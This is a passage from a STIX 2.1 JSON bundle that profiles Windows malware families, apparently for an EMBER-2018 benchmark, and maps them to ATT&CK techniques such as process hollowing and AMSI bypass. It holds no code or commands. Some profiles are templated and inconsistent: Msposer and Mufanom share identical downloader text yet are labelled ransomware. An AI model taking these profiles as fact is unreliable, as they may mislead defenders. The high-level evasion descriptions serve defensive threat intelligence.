      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Msilinj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/msilinj"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74594bd3-8f0f-55c1-ab52-ed42d954ccd1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--412d1f99-e3a8-5c41-81ca-014eb9da22c4",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilinj exhibits technique T1055.012 (Process Injection: Process Hollowing (The primary technique used by .NET injectors))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8bbb7e0-4a80-512a-a205-7f538c77e7b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--412d1f99-e3a8-5c41-81ca-014eb9da22c4",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilinj exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (Using .NET obfuscators to hide the payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1e07016-fac4-5bcf-8c8f-f47f4c7fdf6f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--412d1f99-e3a8-5c41-81ca-014eb9da22c4",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilinj exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Primary distribution method))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b439a868-2078-5c09-a994-36e59ecffd36",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Msilkrypt",
      "description": "MsilKrypt (cataloged across security intelligence feeds under signatures including VirTool:MSIL/MsilKrypt, Trojan:MSIL/Krypt, and VirTool:MSIL/Kryptik) is an obfuscated .NET crypter, runtime unpacker, and binary protector framework active since 2014. Widely traded on underground cybercrime forums, MsilKrypt is engineered to wrap raw binary payloads\u2014including commodity infostealers (Agent Tesla, Formbook), remote access trojans (AsyncRAT), and ransomware stagers\u2014inside legitimate-looking .NET assemblies. Upon execution, MsilKrypt resolves AES or XOR decryption keys dynamically from embedded managed resources, bypasses the Windows Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW) via memory patching, and injects the decrypted payload directly into memory using reflective Assembly.Load or process hollowing into trusted Windows binaries such as RegAsm.exe or AppLaunch.exe. (Observed samples in benchmark: 28)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "VirTool:MSIL/MsilKrypt",
        "Trojan:MSIL/Krypt",
        "VirTool:MSIL/Kryptik",
        "MSIL/MsilKrypt",
        "Trojan:MSIL/MsilKrypt.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Msilkrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/msilkrypt"
        }
      ],
      "labels": [
        "crypter",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3fbaddc2-724f-54d8-88c9-18557f262e91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Msilpack",
      "description": "<h3>Executive Summary</h3>\nMSILPack (or MSIL/Packer) is a heuristic detection identifying a malicious file that has been wrapped, obfuscated, or compiled using a .NET (MSIL - Microsoft Intermediate Language) packer or protector (such as ConfuserEx, .NET Reactor, or custom cryptors). Threat actors heavily utilize MSIL packers to cloak highly destructive payloads\u2014specifically commodity Info-Stealers like AgentTesla, RedLine, and Snake Keylogger\u2014from static antivirus detection.\n\n<h3>Technical Capabilities and Evasion</h3>\nAn MSILPack detection does not indicate a specific malware family; rather, it indicates the <em>method</em> used to hide the true malware. .NET applications are easily decompiled, so attackers use these packers to encrypt the core malicious logic.\n\nWhen an MSILPack executable is run, it performs a complex \"unpacking\" routine entirely in memory:\n<ul>\n<li><strong>Memory Decryption:</strong> The outer .NET wrapper executes and decrypts the primary payload (the actual malware) directly into the system's RAM. The decrypted payload never touches the physical hard drive, completely bypassing traditional, disk-based antivirus scanning.</li>\n<li><strong>Process Hollowing / RunPE:</strong> The unpacked payload often utilizes a technique called \"RunPE.\" The wrapper spawns a legitimate Windows process (like `RegAsm.exe` or `vbc.exe`) in a suspended state, hollows out its legitimate memory, injects the decrypted malicious .NET assembly, and resumes the process.</li>\n<li><strong>Payload Execution:</strong> The true malware (e.g., AgentTesla) now runs under the guise of a trusted Microsoft process, communicating with its C2 server and exfiltrating stolen browser credentials, keystrokes, and session tokens.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe execution of an MSILPack-obfuscated file is a critical incident. The presence of this packing technique almost universally guarantees the deployment of an advanced Info-Stealer or RAT. Because the payload runs in memory, traditional AV will often report the system as \"clean\" while the malware actively exfiltrates data.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static AV is blind to this threat. Remediation requires an EDR solution capable of monitoring memory allocation and terminating processes exhibiting \"RunPE\" or Process Hollowing behaviors.</li>\n<li><strong>Network Isolation and Triage:</strong> Isolate the machine immediately. Analyze network traffic to identify the C2 server the injected process is communicating with.</li>\n<li><strong>Assume Credential Compromise:</strong> Due to the massive prevalence of .NET-packed Info-Stealers, all local and domain credentials stored or used on the compromised endpoint must be immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.MSIL.Packer",
        "MSIL/Cryptor",
        "Win32/MSILPack"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Msilpack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/msilpack"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d26e6c5e-1c86-5763-9f82-e43bfd92d420",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fbaddc2-724f-54d8-88c9-18557f262e91",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilpack exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e50cfa1d-cba2-5cee-b5aa-dd96594ac28b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fbaddc2-724f-54d8-88c9-18557f262e91",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilpack exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98931495-8868-541c-befd-33ff91729b6d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3fbaddc2-724f-54d8-88c9-18557f262e91",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilpack exhibits technique T1055.012 (Process Injection: Process Hollowing (RunPE))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5d21c072-3760-5df4-bb82-6746b491b3a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Msilperseus",
      "description": "MSIL/Perseus (identified in endpoint telemetry as Trojan:MSIL/Perseus, Trojan.MSIL.Perseus, and MSIL/Perseus.A) is a modular .NET-based information stealer and Remote Access Trojan documented by Microsoft Defender, Trend Micro, and ESET. Written in Microsoft Intermediate Language (MSIL), Perseus targets sensitive user credentials, browser artifacts, and cryptocurrency wallet databases on infected Windows hosts. The malware executes through multi-stage obfuscation, frequently leveraging process hollowing techniques to inject unmanaged shellcode or .NET assemblies into trusted legitimate binaries such as RegSvcs.exe, MSBuild.exe, or svchost.exe. Once active in memory, Perseus extracts stored passwords, autofill data, and session cookies from Chromium- and Gecko-based browsers (including Google Chrome, Microsoft Edge, and Mozilla Firefox), enumerates local file systems for cryptocurrency wallet files, and transmits harvested intelligence via TLS-encrypted HTTP POST requests to remote C2 infrastructure. (Observed samples in benchmark: 596)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:MSIL/Perseus!rfn",
        "Trojan.MSIL.Perseus",
        "MSIL/Perseus",
        "Trojan:MSIL/Perseus.A",
        "Win32/Perseus.Stealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Msilperseus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/msilperseus"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07a2b555-3db2-5536-b855-34c6516b1955",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d21c072-3760-5df4-bb82-6746b491b3a3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilperseus exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e6dfcea2-2bf1-5115-b190-7248d1d5670e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d21c072-3760-5df4-bb82-6746b491b3a3",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilperseus exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0cc6e1aa-a14e-5450-a01e-3f0193060863",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d21c072-3760-5df4-bb82-6746b491b3a3",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilperseus exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--10220f00-3fcf-5135-b7bd-95aa38662a67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d21c072-3760-5df4-bb82-6746b491b3a3",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilperseus exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60344bfb-4e2b-5606-863a-5a0079b5c327",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d21c072-3760-5df4-bb82-6746b491b3a3",
      "target_ref": "attack-pattern--62a14fb2-1047-5333-b2dc-6dd9a2ed37b5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msilperseus exhibits technique T1571 (Non-Standard Port)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ca0558ab-0370-53aa-8b96-2efbcc91dd0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Msposer",
      "description": "Trojan:Win32/Msposer is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Msposer</b><br>To an end-user, a Msposer infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Msposer is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Msposer is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Msposer frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Msposer reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Msposer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/msposer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27176a1a-ba00-54a9-97de-c9d7c5225bf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca0558ab-0370-53aa-8b96-2efbcc91dd0b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msposer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b21048d-aafe-5679-9b2e-e02f6bdbbe3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca0558ab-0370-53aa-8b96-2efbcc91dd0b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msposer exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39c6a723-0a0d-553b-8b2b-e2e553e97407",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca0558ab-0370-53aa-8b96-2efbcc91dd0b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msposer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab94fe26-6ac4-5bf1-8d0c-3e27722f56a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca0558ab-0370-53aa-8b96-2efbcc91dd0b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msposer exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bae8699b-761b-53ca-a387-09d5b0939471",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ca0558ab-0370-53aa-8b96-2efbcc91dd0b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Msposer exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--36fa12e0-8799-595d-8c26-06244ffc3f39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mucc",
      "description": "Mucc (cataloged across security vendors and threat intelligence databases under signatures including Adware:Win32/Mucc, PUA:Win32/Mucc, and Adware.Mucc) is an aggressive adware and Potentially Unwanted Application (PUA) family active since 2016. Infiltrating endpoints primarily through third-party freeware download portals, deceptive game installers, and fake codec packages, Mucc installs persistent background processes and browser helper components. Once active, the adware injects unsolicited pop-up advertisements, overlays intrusive banners on legitimate web pages, and redirects user search queries through affiliate marketing networks to generate fraudulent click revenue. (Observed samples in benchmark: 42)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Mucc",
        "PUA:Win32/Mucc",
        "Adware.Mucc",
        "Win32/Mucc",
        "Adware:Win32/Mucc.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mucc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mucc"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8524fdc3-9df8-5551-9dfb-d4146acf4c94",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mudrop",
      "description": "Mudrop (cataloged across security vendors under signatures including Trojan-Dropper.Win32.Mudrop, Trojan:Win32/Mudrop, and Trojan.Mudrop) is a high-volume Windows trojan dropper family engineered to deliver secondary malicious payloads. Distributed via malicious torrent archives, deceptive software cracks, and spam email attachments, Mudrop contains multiple encrypted binaries embedded within its resource section. Upon execution, the dropper decrypts its internal payloads into %Temp% or %AppData%, executes them with elevated privileges, and terminates or deletes itself to eliminate forensic artifacts. Historically, Mudrop has been widely employed by cybercrime syndicates to deploy ransomware strains, banking trojans, and rootkits onto victim endpoints. (Observed samples in benchmark: 45)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Dropper.Win32.Mudrop",
        "Trojan:Win32/Mudrop",
        "Trojan.Mudrop",
        "Win32/Mudrop"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mudrop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mudrop"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f99c88a-fb88-5aa0-9598-4c93e6abab50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8524fdc3-9df8-5551-9dfb-d4146acf4c94",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mudrop exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41c3a90f-1bd0-54ca-b215-32998f412693",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8524fdc3-9df8-5551-9dfb-d4146acf4c94",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mudrop exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3fef93c6-7047-502f-a5c5-15bb3b9fbf54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8524fdc3-9df8-5551-9dfb-d4146acf4c94",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mudrop exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7c22bc75-9f6c-55ed-a5d8-8602abe53693",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8524fdc3-9df8-5551-9dfb-d4146acf4c94",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mudrop exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--046206e7-abe1-5a37-ad71-760dbd2fad45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8524fdc3-9df8-5551-9dfb-d4146acf4c94",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mudrop exhibits technique T1070.004 (Indicator Removal on Host: File Deletion)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--08eadd1d-6def-5f97-8d12-a8f16d92ad82",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mufanom",
      "description": "Trojan:Win32/Mufanom is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Mufanom</b><br>To an end-user, a Mufanom infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Mufanom is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Mufanom is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Mufanom frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Mufanom reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mufanom",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mufanom"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05a4a6fd-199d-51c1-b7c2-a3e52191c5e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08eadd1d-6def-5f97-8d12-a8f16d92ad82",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mufanom exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--917bc202-fa21-531d-9f28-a2dc96f55454",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08eadd1d-6def-5f97-8d12-a8f16d92ad82",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mufanom exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce0dc8c4-23a8-5901-846d-4f09b475066f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08eadd1d-6def-5f97-8d12-a8f16d92ad82",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mufanom exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--28430835-a07a-5703-82b9-882e1fbcdbb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08eadd1d-6def-5f97-8d12-a8f16d92ad82",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mufanom exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2acca7a3-d419-5ac9-8b3b-fd150f237cf0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--08eadd1d-6def-5f97-8d12-a8f16d92ad82",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Mufanom exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--73c81023-6396-5a5e-86f3-efb1a460b46d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Multibanker",
      "description": "Trojan:Win32/Multibanker represents a sophisticated class of financial malware designed to target multiple banking institutions simultaneously. Unlike older, single-target trojans, Multibanker utilizes dynamic configuration files pulled from a Command-and-Control (C2) server, allowing it to adapt its web injects and credential-stealing routines to intercept login attempts across dozens of different online banking portals (`T1185`).<br><br><b>Understanding Multibanker (Financial Fraud)</b><br>To an end-user, the infection is entirely invisible. They will navigate to their legitimate bank website, log in as usual, but the trojan silently intercepts and modifies the transaction in the background. For financial institutions, Multibanker represents a severe threat, as it frequently bypasses standard Two-Factor Authentication (2FA) by tricking the user into entering their OTP into a fake web form injected by the malware.<br><br><b>Execution and Web Injection Mechanics</b><br>Multibanker is typically distributed via malspam (weaponized Office documents) or exploit kits. Upon execution, it establishes persistence (often via Registry Run keys) and injects itself into browser processes (`chrome.exe`, `firefox.exe`, `iexplore.exe`) (`T1055`). It then intercepts 